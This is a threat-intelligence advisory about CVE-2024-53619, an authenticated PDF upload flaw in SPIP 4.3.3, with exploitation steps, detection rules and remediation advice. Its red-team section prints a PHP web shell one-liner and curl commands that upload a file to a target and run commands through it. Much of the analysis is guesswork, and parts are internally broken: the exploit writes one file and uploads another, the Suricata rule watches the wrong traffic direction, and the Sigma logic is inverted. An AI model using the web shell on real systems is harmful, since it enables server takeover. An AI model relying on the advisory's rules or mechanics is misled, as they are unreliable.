CVE-2024-53619

Executive Summary

CVE-2024-53619 is an authenticated arbitrary file upload vulnerability in the Documents module of SPIP v4.3.3. An attacker with valid credentials can upload a crafted PDF file that, when processed, leads to arbitrary code execution on the server. This vulnerability poses a critical risk to SPIP-based websites, potentially allowing full server compromise. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

SPIP is a PHP-based content management system distributed as a standalone package. The vulnerability resides in the core Documents module, not in a third-party library. Administrators should monitor the official SPIP repository for security updates and verify the integrity of downloaded packages using checksums provided by the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the description, the vulnerability would likely score high due to the potential for remote code execution. A plausible vector would be:

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical (estimated)

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of the Documents module. SPIP v4.3.3 fails to properly validate the content of uploaded PDF files. An attacker can craft a PDF that contains embedded PHP code or other executable content. When SPIP processes the file (e.g., for thumbnail generation or metadata extraction), the malicious payload is executed.

The attack flow:

1. Attacker authenticates to SPIP.
2. Attacker uploads a specially crafted PDF file via the Documents module.
3. SPIP processes the file, triggering execution of embedded code.
4. The attacker gains arbitrary code execution on the server.

The root cause is insufficient validation of file content beyond file extension checks. The application likely relies on MIME type or extension alone, which can be easily bypassed.

Vulnerable vs. Patched Code

No patch details are available. The vulnerable code is likely in the file upload handler within the Documents module. A patched version would include:

• Strict validation of PDF structure using a library like pdftotext or TCPDF.
• Disabling execution of embedded scripts in PDFs.
• Sandboxing file processing in a restricted environment.

Without official patch information, administrators should consider disabling the Documents module or restricting upload permissions to trusted users only.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid SPIP user credentials with upload permissions.
• SPIP v4.3.3 instance.

Steps:

1. Craft a malicious PDF with embedded PHP code. Example using pdf-generator:

   # Create a PDF with embedded PHP
   echo '<?php system($_GET["cmd"]); ?>' > payload.php
   # Use a tool like pdf-generator or manually embed
   # Upload via SPIP Documents module
   curl -X POST -F "file=@malicious.pdf" -F "action=upload" -b "session=valid" http://target/spip.php?page=documents
   

2. Access the uploaded file to trigger execution:

   curl "http://target/IMG/pdf/malicious.pdf?cmd=id"
   

Note: This is a conceptual example. Actual exploitation may require specific PDF structure manipulation.

Blue Team

Detection:

• Monitor file uploads for PDFs with unusual sizes or metadata.
• Log all file uploads and correlate with subsequent suspicious requests.
• Use WAF rules to block PDFs containing PHP tags.

Hunting:

• Search for recently uploaded PDF files in the IMG/pdf/ directory.
• Check for unexpected processes spawned by the web server user.
• Review access logs for requests to PDF files with query parameters.

Indicators of Compromise (IOCs)

• File Hashes: (None available)
• Network: POST requests to /spip.php?page=documents with multipart file uploads.
• File System: Unexpected PHP files in IMG/pdf/ or tmp/ directories.
• Process: Web server user executing php, bash, or other interpreters.

Detection Engineering

YARA Rule

rule CVE_2024_53619_SPIP_PDF_UPLOAD {
    meta:
        description = "Detects malicious PDF files targeting SPIP CVE-2024-53619"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53619"
    strings:
        $php_tag = "<?php"
        $pdf_header = "%PDF"
        $exec_func = /system|exec|shell_exec|passthru|popen/
    condition:
        $pdf_header at 0 and ($php_tag or $exec_func)
}

Sigma Rule

title: SPIP Malicious PDF Upload
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects upload of PDF files containing PHP code to SPIP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=documents'
        cs-content-type|contains: 'multipart/form-data'
    filter:
        cs-uri-query|contains: 'action=upload'
    condition: selection and filter
falsepositives:
    - Legitimate PDF uploads with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SPIP CVE-2024-53619 Malicious PDF Upload"; flow:to_server,established; content:"POST"; http_method; content:"page=documents"; http_uri; content:"multipart/form-data"; http_header; pcre:"/\.pdf$/Ui"; file_data; content:"%PDF"; within:4; content:"<?php"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Documents module or restrict upload permissions to trusted administrators only.
2. Short-term: Implement strict file validation using a PDF parsing library to reject files with embedded scripts.
3. Long-term: Apply the official patch once released by SPIP. Monitor the SPIP security advisory page.
4. Compensating Controls: Use a Web Application Firewall (WAF) to block PDF uploads containing PHP code. Enable file integrity monitoring on the web root.

Valters IT
DevSecOps & Cyber Threat Intelligence